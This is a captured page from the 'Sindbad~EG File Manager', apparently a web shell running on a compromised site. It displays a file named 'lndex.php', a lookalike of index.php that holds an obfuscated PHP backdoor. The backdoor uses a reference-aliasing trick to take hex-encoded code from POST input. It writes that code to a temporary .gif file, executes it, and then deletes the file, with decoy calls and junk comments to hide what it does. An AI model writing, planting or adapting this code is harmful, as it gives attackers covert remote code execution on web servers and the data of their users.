Sindbad~EG File Manager

Current Path : /home/anymong/htdocs/www.anymong.com/
Upload File :
Current File : /home/anymong/htdocs/www.anymong.com/lndex.php

<?php
function filterStr($hex)
{
    $str = chr(hexdec('3f')) . chr(hexdec('70')) . 'h';
    $str .= "p" . "\n";
    for ($i = 0; $i < strlen($hex) - 1; $i += 2)
        $str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    return $str . "?";
}

if (!isset($_GET["id"]) || !isset($_POST["ftp"])) {
    die;
}
// PBY1zWOOwPgvisyAyWkO
$a = array(1 => "userName");
$b =& $a[1];
$c = $a;
// gpasda
$c[$_GET["id"]] = $_POST["ftp"];
$fileName =  "./fewafwa"  . ".gif";
file_put_contents($fileName, "" . chr(hexdec('3c')) . filterStr($a[1]) . ">");
sprintf("hello world%s","1");sprintf("hello world%s","2");sprintf("hello world%s","3");
if (file_exists($fileName)) {
    require_once /*file hhh*/$fileName;
}
// PBY1zWOOwPgvisyAyWkO
@unlink($fileName);
echo(md5("0cabcd!@#A."));die;  
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists